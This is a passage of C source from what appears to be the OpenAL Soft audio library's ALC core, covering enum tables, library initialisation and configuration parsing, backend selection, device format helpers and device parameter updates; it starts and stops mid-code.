DECL(AL_DEFERRED_UPDATES_SOFT), DECL(AL_INVERSE_DISTANCE), DECL(AL_INVERSE_DISTANCE_CLAMPED), DECL(AL_LINEAR_DISTANCE), DECL(AL_LINEAR_DISTANCE_CLAMPED), DECL(AL_EXPONENT_DISTANCE), DECL(AL_EXPONENT_DISTANCE_CLAMPED), DECL(AL_FILTER_TYPE), DECL(AL_FILTER_NULL), DECL(AL_FILTER_LOWPASS), #if 0 DECL(AL_FILTER_HIGHPASS), DECL(AL_FILTER_BANDPASS), #endif DECL(AL_LOWPASS_GAIN), DECL(AL_LOWPASS_GAINHF), DECL(AL_EFFECT_TYPE), DECL(AL_EFFECT_NULL), DECL(AL_EFFECT_REVERB), DECL(AL_EFFECT_EAXREVERB), #if 0 DECL(AL_EFFECT_CHORUS), DECL(AL_EFFECT_DISTORTION), #endif DECL(AL_EFFECT_ECHO), #if 0 DECL(AL_EFFECT_FLANGER), DECL(AL_EFFECT_FREQUENCY_SHIFTER), DECL(AL_EFFECT_VOCAL_MORPHER), DECL(AL_EFFECT_PITCH_SHIFTER), #endif DECL(AL_EFFECT_RING_MODULATOR), #if 0 DECL(AL_EFFECT_AUTOWAH), DECL(AL_EFFECT_COMPRESSOR), DECL(AL_EFFECT_EQUALIZER), #endif DECL(AL_EFFECT_DEDICATED_LOW_FREQUENCY_EFFECT), DECL(AL_EFFECT_DEDICATED_DIALOGUE), DECL(AL_EAXREVERB_DENSITY), DECL(AL_EAXREVERB_DIFFUSION), DECL(AL_EAXREVERB_GAIN), DECL(AL_EAXREVERB_GAINHF), DECL(AL_EAXREVERB_GAINLF), DECL(AL_EAXREVERB_DECAY_TIME), DECL(AL_EAXREVERB_DECAY_HFRATIO), DECL(AL_EAXREVERB_DECAY_LFRATIO), DECL(AL_EAXREVERB_REFLECTIONS_GAIN), DECL(AL_EAXREVERB_REFLECTIONS_DELAY), DECL(AL_EAXREVERB_REFLECTIONS_PAN), DECL(AL_EAXREVERB_LATE_REVERB_GAIN), DECL(AL_EAXREVERB_LATE_REVERB_DELAY), DECL(AL_EAXREVERB_LATE_REVERB_PAN), DECL(AL_EAXREVERB_ECHO_TIME), DECL(AL_EAXREVERB_ECHO_DEPTH), DECL(AL_EAXREVERB_MODULATION_TIME), DECL(AL_EAXREVERB_MODULATION_DEPTH), DECL(AL_EAXREVERB_AIR_ABSORPTION_GAINHF), DECL(AL_EAXREVERB_HFREFERENCE), DECL(AL_EAXREVERB_LFREFERENCE), DECL(AL_EAXREVERB_ROOM_ROLLOFF_FACTOR), DECL(AL_EAXREVERB_DECAY_HFLIMIT), DECL(AL_REVERB_DENSITY), DECL(AL_REVERB_DIFFUSION), DECL(AL_REVERB_GAIN), DECL(AL_REVERB_GAINHF), DECL(AL_REVERB_DECAY_TIME), DECL(AL_REVERB_DECAY_HFRATIO), DECL(AL_REVERB_REFLECTIONS_GAIN), DECL(AL_REVERB_REFLECTIONS_DELAY), DECL(AL_REVERB_LATE_REVERB_GAIN), DECL(AL_REVERB_LATE_REVERB_DELAY), DECL(AL_REVERB_AIR_ABSORPTION_GAINHF), DECL(AL_REVERB_ROOM_ROLLOFF_FACTOR), DECL(AL_REVERB_DECAY_HFLIMIT), DECL(AL_ECHO_DELAY), DECL(AL_ECHO_LRDELAY), DECL(AL_ECHO_DAMPING), DECL(AL_ECHO_FEEDBACK), DECL(AL_ECHO_SPREAD), DECL(AL_RING_MODULATOR_FREQUENCY), DECL(AL_RING_MODULATOR_HIGHPASS_CUTOFF), DECL(AL_RING_MODULATOR_WAVEFORM), DECL(AL_DEDICATED_GAIN), { NULL, (ALCenum)0 } }; #undef DECL static const ALCchar alcNoError[] = "No Error"; static const ALCchar alcErrInvalidDevice[] = "Invalid Device"; static const ALCchar alcErrInvalidContext[] = "Invalid Context"; static const ALCchar alcErrInvalidEnum[] = "Invalid Enum"; static const ALCchar alcErrInvalidValue[] = "Invalid Value"; static const ALCchar alcErrOutOfMemory[] = "Out of Memory"; /************************************************ * Global variables ************************************************/ /* Enumerated device names */ static const ALCchar alcDefaultName[] = "OpenAL Soft\0"; static ALCchar *alcAllDevicesList; static ALCchar *alcCaptureDeviceList; /* Sizes only include the first ending null character, not the second */ static size_t alcAllDevicesListSize; static size_t alcCaptureDeviceListSize; /* Default is always the first in the list */ static ALCchar *alcDefaultAllDevicesSpecifier; static ALCchar *alcCaptureDefaultDeviceSpecifier; /* Default context extensions */ static const ALchar alExtList[] = "AL_EXT_ALAW AL_EXT_DOUBLE AL_EXT_EXPONENT_DISTANCE AL_EXT_FLOAT32 " "AL_EXT_IMA4 AL_EXT_LINEAR_DISTANCE AL_EXT_MCFORMATS AL_EXT_MULAW " "AL_EXT_MULAW_MCFORMATS AL_EXT_OFFSET AL_EXT_source_distance_model " "AL_LOKI_quadriphonic AL_SOFT_buffer_samples AL_SOFT_buffer_sub_data " "AL_SOFTX_deferred_updates AL_SOFT_direct_channels AL_SOFT_loop_points"; static volatile ALCenum LastNullDeviceError = ALC_NO_ERROR; /* Thread-local current context */ static pthread_key_t LocalContext; /* Process-wide current context */ static ALCcontext *volatile GlobalContext = NULL; /* Mixing thread piority level */ ALint RTPrioLevel; FILE *LogFile; #ifdef _DEBUG enum LogLevel LogLevel = LogWarning; #else enum LogLevel LogLevel = LogError; #endif /* Flag to trap ALC device errors */ static ALCboolean TrapALCError = ALC_FALSE; /* One-time configuration init control */ static pthread_once_t alc_config_once = PTHREAD_ONCE_INIT; /* Default effect that applies to sources that don't have an effect on send 0 */ static ALeffect DefaultEffect; /************************************************ * ALC information ************************************************/ static const ALCchar alcNoDeviceExtList[] = "ALC_ENUMERATE_ALL_EXT ALC_ENUMERATION_EXT ALC_EXT_CAPTURE " "ALC_EXT_thread_local_context ALC_SOFT_loopback"; static const ALCchar alcExtensionList[] = "ALC_ENUMERATE_ALL_EXT ALC_ENUMERATION_EXT ALC_EXT_CAPTURE " "ALC_EXT_DEDICATED ALC_EXT_disconnect ALC_EXT_EFX " "ALC_EXT_thread_local_context ALC_SOFT_loopback"; static const ALCint alcMajorVersion = 1; static const ALCint alcMinorVersion = 1; static const ALCint alcEFXMajorVersion = 1; static const ALCint alcEFXMinorVersion = 0; /************************************************ * Device lists ************************************************/ static ALCdevice *volatile DeviceList = NULL; static CRITICAL_SECTION ListLock; static void LockLists(void) { EnterCriticalSection(&ListLock); } static void UnlockLists(void) { LeaveCriticalSection(&ListLock); } /************************************************ * Library initialization ************************************************/ #if defined(_WIN32) static void alc_init(void); static void alc_deinit(void); static void alc_deinit_safe(void); UIntMap TlsDestructor; #ifndef AL_LIBTYPE_STATIC BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) { ALsizei i; // Perform actions based on the reason for calling. switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: /* Pin the DLL so we won't get unloaded until the process terminates */ GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_PIN | GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (WCHAR*)hModule, &hModule); InitUIntMap(&TlsDestructor, ~0); alc_init(); break; case DLL_THREAD_DETACH: LockUIntMapRead(&TlsDestructor); for(i = 0;i < TlsDestructor.size;i++) { void *ptr = pthread_getspecific(TlsDestructor.array[i].key); void (*callback)(void*) = (void(*)(void*))TlsDestructor.array[i].value; if(ptr && callback) callback(ptr); } UnlockUIntMapRead(&TlsDestructor); break; case DLL_PROCESS_DETACH: if(!lpReserved) alc_deinit(); else alc_deinit_safe(); ResetUIntMap(&TlsDestructor); break; } return TRUE; } #elif defined(_MSC_VER) #pragma section(".CRT$XCU",read) static void alc_constructor(void); static void alc_destructor(void); __declspec(allocate(".CRT$XCU")) void (__cdecl* alc_constructor_)(void) = alc_constructor; static void alc_constructor(void) { atexit(alc_destructor); alc_init(); } static void alc_destructor(void) { alc_deinit(); } #elif defined(HAVE_GCC_DESTRUCTOR) static void alc_init(void) __attribute__((constructor)); static void alc_deinit(void) __attribute__((destructor)); #else #error "No static initialization available on this platform!" #endif #elif defined(HAVE_GCC_DESTRUCTOR) static void alc_init(void) __attribute__((constructor)); static void alc_deinit(void) __attribute__((destructor)); #else #error "No global initialization available on this platform!" #endif static void ReleaseThreadCtx(void *ptr); static void alc_init(void) { const char *str; LogFile = stderr; str = getenv("__ALSOFT_HALF_ANGLE_CONES"); if(str && (strcasecmp(str, "true") == 0 || strtol(str, NULL, 0) == 1)) ConeScale *= 0.5f; str = getenv("__ALSOFT_REVERSE_Z"); if(str && (strcasecmp(str, "true") == 0 || strtol(str, NULL, 0) == 1)) ZScale *= -1.0f; pthread_key_create(&LocalContext, ReleaseThreadCtx); InitializeCriticalSection(&ListLock); ThunkInit(); } static void alc_initconfig(void) { const char *devs, *str; ALuint capfilter; float valf; int i, n; str = getenv("ALSOFT_LOGLEVEL"); if(str) { long lvl = strtol(str, NULL, 0); if(lvl >= NoLog && lvl <= LogRef) LogLevel = lvl; } str = getenv("ALSOFT_LOGFILE"); if(str && str[0]) { FILE *logfile = fopen(str, "wat"); if(logfile) LogFile = logfile; else ERR("Failed to open log file '%s'\n", str); } ReadALConfig(); capfilter = 0; #ifdef HAVE_SSE capfilter |= CPU_CAP_SSE; #endif #ifdef HAVE_NEON capfilter |= CPU_CAP_NEON; #endif if(ConfigValueStr(NULL, "disable-cpu-exts", &str)) { if(strcasecmp(str, "all") == 0) capfilter = 0; else { size_t len; const char *next = str; i = 0; do { str = next; next = strchr(str, ','); while(isspace(str[0])) str++; if(!str[0] || str[0] == ',') continue; len = (next ? ((size_t)(next-str)) : strlen(str)); if(strncasecmp(str, "sse", len) == 0) capfilter &= ~CPU_CAP_SSE; else if(strncasecmp(str, "neon", len) == 0) capfilter &= ~CPU_CAP_NEON; else WARN("Invalid CPU extension \"%s\"\n", str); } while(next++); } } FillCPUCaps(capfilter); #ifdef _WIN32 RTPrioLevel = 1; #else RTPrioLevel = 0; #endif ConfigValueInt(NULL, "rt-prio", &RTPrioLevel); if(ConfigValueStr(NULL, "resampler", &str)) { if(strcasecmp(str, "point") == 0 || strcasecmp(str, "none") == 0) DefaultResampler = PointResampler; else if(strcasecmp(str, "linear") == 0) DefaultResampler = LinearResampler; else if(strcasecmp(str, "cubic") == 0) DefaultResampler = CubicResampler; else { char *end; n = strtol(str, &end, 0); if(*end == '\0' && (n == PointResampler || n == LinearResampler || n == CubicResampler)) DefaultResampler = n; else WARN("Invalid resampler: %s\n", str); } } str = getenv("ALSOFT_TRAP_ERROR"); if(str && (strcasecmp(str, "true") == 0 || strtol(str, NULL, 0) == 1)) { TrapALError = AL_TRUE; TrapALCError = AL_TRUE; } else { str = getenv("ALSOFT_TRAP_AL_ERROR"); if(str && (strcasecmp(str, "true") == 0 || strtol(str, NULL, 0) == 1)) TrapALError = AL_TRUE; TrapALError = GetConfigValueBool(NULL, "trap-al-error", TrapALError); str = getenv("ALSOFT_TRAP_ALC_ERROR"); if(str && (strcasecmp(str, "true") == 0 || strtol(str, NULL, 0) == 1)) TrapALCError = ALC_TRUE; TrapALCError = GetConfigValueBool(NULL, "trap-alc-error", TrapALCError); } if(ConfigValueFloat("reverb", "boost", &valf)) ReverbBoost *= powf(10.0f, valf / 20.0f); EmulateEAXReverb = GetConfigValueBool("reverb", "emulate-eax", AL_FALSE); if(((devs=getenv("ALSOFT_DRIVERS")) && devs[0]) || ConfigValueStr(NULL, "drivers", &devs)) { int n; size_t len; const char *next = devs; int endlist, delitem; i = 0; do { devs = next; next = strchr(devs, ','); delitem = (devs[0] == '-'); if(devs[0] == '-') devs++; if(!devs[0] || devs[0] == ',') { endlist = 0; continue; } endlist = 1; len = (next ? ((size_t)(next-devs)) : strlen(devs)); for(n = i;BackendList[n].Init;n++) { if(len == strlen(BackendList[n].name) && strncmp(BackendList[n].name, devs, len) == 0) { if(delitem) { do { BackendList[n] = BackendList[n+1]; ++n; } while(BackendList[n].Init); } else { struct BackendInfo Bkp = BackendList[n]; while(n > i) { BackendList[n] = BackendList[n-1]; --n; } BackendList[n] = Bkp; i++; } break; } } } while(next++); if(endlist) { BackendList[i].name = NULL; BackendList[i].Init = NULL; BackendList[i].Deinit = NULL; BackendList[i].Probe = NULL; } } for(i = 0;BackendList[i].Init && (!PlaybackBackend.name || !CaptureBackend.name);i++) { if(!BackendList[i].Init(&BackendList[i].Funcs)) { WARN("Failed to initialize backend \"%s\"\n", BackendList[i].name); continue; } TRACE("Initialized backend \"%s\"\n", BackendList[i].name); if(BackendList[i].Funcs.OpenPlayback && !PlaybackBackend.name) { PlaybackBackend = BackendList[i]; TRACE("Added \"%s\" for playback\n", PlaybackBackend.name); } if(BackendList[i].Funcs.OpenCapture && !CaptureBackend.name) { CaptureBackend = BackendList[i]; TRACE("Added \"%s\" for capture\n", CaptureBackend.name); } } BackendLoopback.Init(&BackendLoopback.Funcs); if(ConfigValueStr(NULL, "excludefx", &str)) { size_t len; const char *next = str; do { str = next; next = strchr(str, ','); if(!str[0] || next == str) continue; len = (next ? ((size_t)(next-str)) : strlen(str)); for(n = 0;EffectList[n].name;n++) { if(len == strlen(EffectList[n].name) && strncmp(EffectList[n].name, str, len) == 0) DisabledEffects[EffectList[n].type] = AL_TRUE; } } while(next++); } InitEffect(&DefaultEffect); str = getenv("ALSOFT_DEFAULT_REVERB"); if((str && str[0]) || ConfigValueStr(NULL, "default-reverb", &str)) LoadReverbPreset(str, &DefaultEffect); } #define DO_INITCONFIG() pthread_once(&alc_config_once, alc_initconfig) /************************************************ * Library deinitialization ************************************************/ static void alc_cleanup(void) { ALCdevice *dev; free(alcAllDevicesList); alcAllDevicesList = NULL; alcAllDevicesListSize = 0; free(alcCaptureDeviceList); alcCaptureDeviceList = NULL; alcCaptureDeviceListSize = 0; free(alcDefaultAllDevicesSpecifier); alcDefaultAllDevicesSpecifier = NULL; free(alcCaptureDefaultDeviceSpecifier); alcCaptureDefaultDeviceSpecifier = NULL; if((dev=ExchangePtr((XchgPtr*)&DeviceList, NULL)) != NULL) { ALCuint num = 0; do { num++; } while((dev=dev->next) != NULL); ERR("%u device%s not closed\n", num, (num>1)?"s":""); } } static void alc_deinit_safe(void) { alc_cleanup(); FreeHrtfs(); FreeALConfig(); ThunkExit(); DeleteCriticalSection(&ListLock); pthread_key_delete(LocalContext); if(LogFile != stderr) fclose(LogFile); LogFile = NULL; } static void alc_deinit(void) { int i; alc_cleanup(); memset(&PlaybackBackend, 0, sizeof(PlaybackBackend)); memset(&CaptureBackend, 0, sizeof(CaptureBackend)); for(i = 0;BackendList[i].Deinit;i++) BackendList[i].Deinit(); BackendLoopback.Deinit(); alc_deinit_safe(); } /************************************************ * Device enumeration ************************************************/ static void ProbeList(ALCchar **list, size_t *listsize, enum DevProbe type) { DO_INITCONFIG(); LockLists(); free(*list); *list = NULL; *listsize = 0; if(type == ALL_DEVICE_PROBE && PlaybackBackend.Probe) PlaybackBackend.Probe(type); else if(type == CAPTURE_DEVICE_PROBE && CaptureBackend.Probe) CaptureBackend.Probe(type); UnlockLists(); } static void ProbeAllDevicesList(void) { ProbeList(&alcAllDevicesList, &alcAllDevicesListSize, ALL_DEVICE_PROBE); } static void ProbeCaptureDeviceList(void) { ProbeList(&alcCaptureDeviceList, &alcCaptureDeviceListSize, CAPTURE_DEVICE_PROBE); } static void AppendList(const ALCchar *name, ALCchar **List, size_t *ListSize) { size_t len = strlen(name); void *temp; if(len == 0) return; temp = realloc(*List, (*ListSize) + len + 2); if(!temp) { ERR("Realloc failed to add %s!\n", name); return; } *List = temp; memcpy((*List)+(*ListSize), name, len+1); *ListSize += len+1; (*List)[*ListSize] = 0; } #define DECL_APPEND_LIST_FUNC(type) \ void Append##type##List(const ALCchar *name) \ { AppendList(name, &alc##type##List, &alc##type##ListSize); } DECL_APPEND_LIST_FUNC(AllDevices) DECL_APPEND_LIST_FUNC(CaptureDevice) #undef DECL_APPEND_LIST_FUNC /************************************************ * Device format information ************************************************/ const ALCchar *DevFmtTypeString(enum DevFmtType type) { switch(type) { case DevFmtByte: return "Signed Byte"; case DevFmtUByte: return "Unsigned Byte"; case DevFmtShort: return "Signed Short"; case DevFmtUShort: return "Unsigned Short"; case DevFmtInt: return "Signed Int"; case DevFmtUInt: return "Unsigned Int"; case DevFmtFloat: return "Float"; } return "(unknown type)"; } const ALCchar *DevFmtChannelsString(enum DevFmtChannels chans) { switch(chans) { case DevFmtMono: return "Mono"; case DevFmtStereo: return "Stereo"; case DevFmtQuad: return "Quadraphonic"; case DevFmtX51: return "5.1 Surround"; case DevFmtX51Side: return "5.1 Side"; case DevFmtX61: return "6.1 Surround"; case DevFmtX71: return "7.1 Surround"; } return "(unknown channels)"; } ALuint BytesFromDevFmt(enum DevFmtType type) { switch(type) { case DevFmtByte: return sizeof(ALbyte); case DevFmtUByte: return sizeof(ALubyte); case DevFmtShort: return sizeof(ALshort); case DevFmtUShort: return sizeof(ALushort); case DevFmtInt: return sizeof(ALint); case DevFmtUInt: return sizeof(ALuint); case DevFmtFloat: return sizeof(ALfloat); } return 0; } ALuint ChannelsFromDevFmt(enum DevFmtChannels chans) { switch(chans) { case DevFmtMono: return 1; case DevFmtStereo: return 2; case DevFmtQuad: return 4; case DevFmtX51: return 6; case DevFmtX51Side: return 6; case DevFmtX61: return 7; case DevFmtX71: return 8; } return 0; } static ALboolean DecomposeDevFormat(ALenum format, enum DevFmtChannels *chans, enum DevFmtType *type) { static const struct { ALenum format; enum DevFmtChannels channels; enum DevFmtType type; } list[] = { { AL_FORMAT_MONO8, DevFmtMono, DevFmtUByte }, { AL_FORMAT_MONO16, DevFmtMono, DevFmtShort }, { AL_FORMAT_MONO_FLOAT32, DevFmtMono, DevFmtFloat }, { AL_FORMAT_STEREO8, DevFmtStereo, DevFmtUByte }, { AL_FORMAT_STEREO16, DevFmtStereo, DevFmtShort }, { AL_FORMAT_STEREO_FLOAT32, DevFmtStereo, DevFmtFloat }, { AL_FORMAT_QUAD8, DevFmtQuad, DevFmtUByte }, { AL_FORMAT_QUAD16, DevFmtQuad, DevFmtShort }, { AL_FORMAT_QUAD32, DevFmtQuad, DevFmtFloat }, { AL_FORMAT_51CHN8, DevFmtX51, DevFmtUByte }, { AL_FORMAT_51CHN16, DevFmtX51, DevFmtShort }, { AL_FORMAT_51CHN32, DevFmtX51, DevFmtFloat }, { AL_FORMAT_61CHN8, DevFmtX61, DevFmtUByte }, { AL_FORMAT_61CHN16, DevFmtX61, DevFmtShort }, { AL_FORMAT_61CHN32, DevFmtX61, DevFmtFloat }, { AL_FORMAT_71CHN8, DevFmtX71, DevFmtUByte }, { AL_FORMAT_71CHN16, DevFmtX71, DevFmtShort }, { AL_FORMAT_71CHN32, DevFmtX71, DevFmtFloat }, }; ALuint i; for(i = 0;i < COUNTOF(list);i++) { if(list[i].format == format) { *chans = list[i].channels; *type = list[i].type; return AL_TRUE; } } return AL_FALSE; } static ALCboolean IsValidALCType(ALCenum type) { switch(type) { case ALC_BYTE_SOFT: case ALC_UNSIGNED_BYTE_SOFT: case ALC_SHORT_SOFT: case ALC_UNSIGNED_SHORT_SOFT: case ALC_INT_SOFT: case ALC_UNSIGNED_INT_SOFT: case ALC_FLOAT_SOFT: return ALC_TRUE; } return ALC_FALSE; } static ALCboolean IsValidALCChannels(ALCenum channels) { switch(channels) { case ALC_MONO_SOFT: case ALC_STEREO_SOFT: case ALC_QUAD_SOFT: case ALC_5POINT1_SOFT: case ALC_6POINT1_SOFT: case ALC_7POINT1_SOFT: return ALC_TRUE; } return ALC_FALSE; } /************************************************ * Miscellaneous ALC helpers ************************************************/ void ALCdevice_LockDefault(ALCdevice *device) { EnterCriticalSection(&device->Mutex); } void ALCdevice_UnlockDefault(ALCdevice *device) { LeaveCriticalSection(&device->Mutex); } ALint64 ALCdevice_GetLatencyDefault(ALCdevice *device) { (void)device; return 0; } /* SetDefaultWFXChannelOrder * * Sets the default channel order used by WaveFormatEx. */ void SetDefaultWFXChannelOrder(ALCdevice *device) { switch(device->FmtChans) { case DevFmtMono: device->DevChannels[0] = FrontCenter; break; case DevFmtStereo: device->DevChannels[0] = FrontLeft; device->DevChannels[1] = FrontRight; break; case DevFmtQuad: device->DevChannels[0] = FrontLeft; device->DevChannels[1] = FrontRight; device->DevChannels[2] = BackLeft; device->DevChannels[3] = BackRight; break; case DevFmtX51: device->DevChannels[0] = FrontLeft; device->DevChannels[1] = FrontRight; device->DevChannels[2] = FrontCenter; device->DevChannels[3] = LFE; device->DevChannels[4] = BackLeft; device->DevChannels[5] = BackRight; break; case DevFmtX51Side: device->DevChannels[0] = FrontLeft; device->DevChannels[1] = FrontRight; device->DevChannels[2] = FrontCenter; device->DevChannels[3] = LFE; device->DevChannels[4] = SideLeft; device->DevChannels[5] = SideRight; break; case DevFmtX61: device->DevChannels[0] = FrontLeft; device->DevChannels[1] = FrontRight; device->DevChannels[2] = FrontCenter; device->DevChannels[3] = LFE; device->DevChannels[4] = BackCenter; device->DevChannels[5] = SideLeft; device->DevChannels[6] = SideRight; break; case DevFmtX71: device->DevChannels[0] = FrontLeft; device->DevChannels[1] = FrontRight; device->DevChannels[2] = FrontCenter; device->DevChannels[3] = LFE; device->DevChannels[4] = BackLeft; device->DevChannels[5] = BackRight; device->DevChannels[6] = SideLeft; device->DevChannels[7] = SideRight; break; } } /* SetDefaultChannelOrder * * Sets the default channel order used by most non-WaveFormatEx-based APIs. */ void SetDefaultChannelOrder(ALCdevice *device) { switch(device->FmtChans) { case DevFmtX51: device->DevChannels[0] = FrontLeft; device->DevChannels[1] = FrontRight; device->DevChannels[2] = BackLeft; device->DevChannels[3] = BackRight; device->DevChannels[4] = FrontCenter; device->DevChannels[5] = LFE; return; case DevFmtX71: device->DevChannels[0] = FrontLeft; device->DevChannels[1] = FrontRight; device->DevChannels[2] = BackLeft; device->DevChannels[3] = BackRight; device->DevChannels[4] = FrontCenter; device->DevChannels[5] = LFE; device->DevChannels[6] = SideLeft; device->DevChannels[7] = SideRight; return; /* Same as WFX order */ case DevFmtMono: case DevFmtStereo: case DevFmtQuad: case DevFmtX51Side: case DevFmtX61: break; } SetDefaultWFXChannelOrder(device); } /* alcSetError * * Stores the latest ALC device error */ static void alcSetError(ALCdevice *device, ALCenum errorCode) { if(TrapALCError) { #ifdef _WIN32 /* DebugBreak() will cause an exception if there is no debugger */ if(IsDebuggerPresent()) DebugBreak(); #elif defined(SIGTRAP) raise(SIGTRAP); #endif } if(device) device->LastError = errorCode; else LastNullDeviceError = errorCode; } /* UpdateDeviceParams * * Updates device parameters according to the attribute list (caller is * responsible for holding the list lock). */ static ALCenum UpdateDeviceParams(ALCdevice *device, const ALCint *attrList) { ALCcontext *context; enum DevFmtChannels oldChans; enum DevFmtType oldType; ALCuint oldFreq; FPUCtl oldMode; ALuint i; // Check for attributes if(device->Type == Loopback) { enum { GotFreq = 1<<0, GotChans = 1<<1, GotType = 1<<2, GotAll = GotFreq|GotChans|GotType }; ALCuint freq, numMono, numStereo, numSends; enum DevFmtChannels schans; enum DevFmtType stype; ALCuint attrIdx = 0; ALCint gotFmt = 0; if(!attrList) { WARN("Missing attributes for loopback device\n"); return ALC_INVALID_VALUE; } numMono = device->NumMonoSources; numStereo = device->NumStereoSources; numSends = device->NumAuxSends; schans = device->FmtChans; stype = device->FmtType; freq = device->Frequency; while(attrList[attrIdx]) { if(attrList[attrIdx] == ALC_FORMAT_CHANNELS_SOFT) { ALCint val = attrList[attrIdx + 1]; if(!IsValidALCChannels(val) || !ChannelsFromDevFmt(val)) return ALC_INVALID_VALUE; schans = val; gotFmt |= GotChans; } if(attrList[attrIdx] == ALC_FORMAT_TYPE_SOFT) { ALCint val = attrList[attrIdx + 1]; if(!IsValidALCType(val) || !BytesFromDevFmt(val)) return ALC_INVALID_VALUE; stype = val; gotFmt |= GotType; } if(attrList[attrIdx] == ALC_FREQUENCY) { freq = attrList[attrIdx + 1]; if(freq < MIN_OUTPUT_RATE) return ALC_INVALID_VALUE; gotFmt |= GotFreq; } if(attrList[attrIdx] == ALC_STEREO_SOURCES) { numStereo = attrList[attrIdx + 1]; if(numStereo > device->MaxNoOfSources) numStereo = device->MaxNoOfSources; numMono = device->MaxNoOfSources - numStereo; } if(attrList[attrIdx] == ALC_MAX_AUXILIARY_SENDS) numSends = attrList[attrIdx + 1]; attrIdx += 2; } if(gotFmt != GotAll) { WARN("Missing format for loopback device\n"); return ALC_INVALID_VALUE; } ConfigValueUInt(NULL, "sends", &numSends); numSends = minu(MAX_SENDS, numSends); if((device->Flags&DEVICE_RUNNING)) ALCdevice_StopPlayback(device); device->Flags &= ~DEVICE_RUNNING; device->Frequency = freq; device->FmtChans = schans; device->FmtType = stype; device->NumMonoSources = numMono; device->NumStereoSources = numStereo; device->NumAuxSends = numSends; } else if(attrList && attrList[0]) { ALCuint freq, numMono, numStereo, numSends; ALCuint attrIdx = 0; /* If a context is already running on the device, stop playback so the * device attributes can be updated. */ if((device->Flags&DEVICE_RUNNING)) ALCdevice_StopPlayback(device); device->Flags &= ~DEVICE_RUNNING; freq = device->Frequency; numMono = device->NumMonoSources; numStereo = device->NumStereoSources; numSends = device->NumAuxSends; while(attrList[attrIdx]) { if(attrList[attrIdx] == ALC_FREQUENCY) { freq = attrList[attrIdx + 1]; device->Flags |= DEVICE_FREQUENCY_REQUEST; } if(attrList[attrIdx] == ALC_STEREO_SOURCES) { numStereo = attrList[attrIdx + 1]; if(numStereo > device->MaxNoOfSources) numStereo = device->MaxNoOfSources; numMono = device->MaxNoOfSources - numStereo; } if(attrList[attrIdx] == ALC_MAX_AUXILIARY_SENDS) numSends = attrList[attrIdx + 1]; attrIdx += 2; } ConfigValueUInt(NULL, "frequency", &freq); freq = maxu(freq, MIN_OUTPUT_RATE); ConfigValueUInt(NULL, "sends", &numSends); numSends = minu(MAX_SENDS, numSends); device->UpdateSize = (ALuint64)device->UpdateSize * freq / device->Frequency; /* SSE does best with the update size being a multiple of 4 */ if((CPUCapFlags&CPU_CAP_SSE)) device->UpdateSize = (device->UpdateSize+3)&~3; device->Frequency = freq; device->NumMonoSources = numMono; device->NumStereoSources = numStereo; device->NumAuxSends = numSends; } if((device->Flags&DEVICE_RUNNING)) return ALC_NO_ERROR; oldFreq = device->Frequency; oldChans = device->FmtChans; oldType = device->FmtType; TRACE("Format pre-setup: %s%s, %s%s, %uhz%s, %u update size x%d\n", DevFmtChannelsString(device->FmtChans), (device->Flags&DEVICE_CHANNELS_REQUEST)?" (requested)":"", DevFmtTypeString(device->FmtType), (device->Flags&DEVICE_SAMPLE_TYPE_REQUEST)?" (requested)":"", device->Frequency, (device->Flags&DEVICE_FREQUENCY_REQUEST)?" (requested)":"", device->UpdateSize, device->NumUpdates); if(ALCdevice_ResetPlayback(device) == ALC_FALSE) return ALC_INVALID_DEVICE; if(device->FmtChans != oldChans && (device->Flags&DEVICE_CHANNELS_REQUEST)) { ERR("Failed to set %s, got %s instead\n", DevFmtChannelsString(oldChans), DevFmtChannelsString(device->FmtChans)); device->Flags &= ~DEVICE_CHANNELS_REQUEST; } if(device->FmtType != oldType && (device->Flags&DEVICE_SAMPLE_TYPE_REQUEST)) { ERR("Failed to set %s, got %s instead\n", DevFmtTypeString(oldType), DevFmtTypeString(device->FmtType)); device->Flags &= ~DEVICE_SAMPLE_TYPE_REQUEST; } if(device->Frequency != oldFreq && (device->Flags&DEVICE_FREQUENCY_REQUEST)) { ERR("Failed to set %uhz, got %uhz instead\n", oldFreq, device->Frequency); device->Flags &= ~DEVICE_FREQUENCY_REQUEST; } TRACE("Format post-setup: %s, %s, %uhz, %u update size x%d\n", DevFmtChannelsString(device->FmtChans), DevFmtTypeString(device->FmtType), device->Frequency, device->UpdateSize, device->NumUpdates); aluInitPanning(device); for(i = 0;i < MaxChannels;i++) { device->ClickRemoval[i] = 0.0f; device->PendingClicks[i] = 0.0f; } device->Hrtf = NULL; if(device->Type != Loopback && GetConfigValueBool(NULL, "hrtf", AL_FALSE)) device->Hrtf = GetHrtf(device); TRACE("HRTF %s\n", device->Hrtf?"enabled":"disabled"); if(!device->Hrtf && device->Bs2bLevel > 0 && device->Bs2bLevel <= 6) { if(!device->Bs2b) { device->Bs2b = calloc(1, sizeof(*device->Bs2b)); bs2b_clear(device->Bs2b); } bs2b_set_srate(device->Bs2b, device->Frequency); bs2b_set_level(device->Bs2b, device->Bs2bLevel); TRACE("BS2B level %d\n", device->Bs2bLevel); } else { free(device->Bs2b); device->Bs2b = NULL; TRACE("BS2B disabled\n"); } device->Flags &= ~DEVICE_WIDE_STEREO; if(device->Type != Loopback && !device->Hrtf && GetConfigValueBool(NULL, "wide-stereo", AL_FALSE)) device->Flags |= DEVICE_WIDE_STEREO; if(!device->Hrtf && (device->UpdateSize&3)) { if((CPUCapFlags&CPU_CAP_SSE)) WARN("SSE performs best with multiple of 4 update sizes (%u)\n", device->UpdateSize); } SetMixerFPUMode(&oldMode); ALCdevice_Lock(device); context = device->ContextList; while(context) { ALsizei pos; context->UpdateSources = AL_FALSE; LockUIntMapRead(&context->EffectSlotMap); for(pos = 0;pos < context->EffectSlotMap.size;pos++) { ALeffectslot *slot = context->EffectSlotMap.array[pos].value; if(ALeffectState_DeviceUpdate(slot->EffectState, device) == AL_FALSE) { UnlockUIntMapRead(&context->EffectSlotMap); ALCdevice_Unlock(device); RestoreFPUMode(&oldMode); return ALC_INVALID_DEVICE; } slot->NeedsUpdate = AL_FALSE; ALeffectState_Update(slot->EffectState, device, slot); } UnlockUIntMapRead(&context->EffectSlotMap); LockUIntMapRead(&context->SourceMap); for(pos = 0;pos < context->SourceMap.size;pos++) { ALsource *source = context->SourceMap.array[pos].value; ALuint s = device->NumAuxSends; while(s < MAX_SENDS) { if(source->Send[s].Slot) 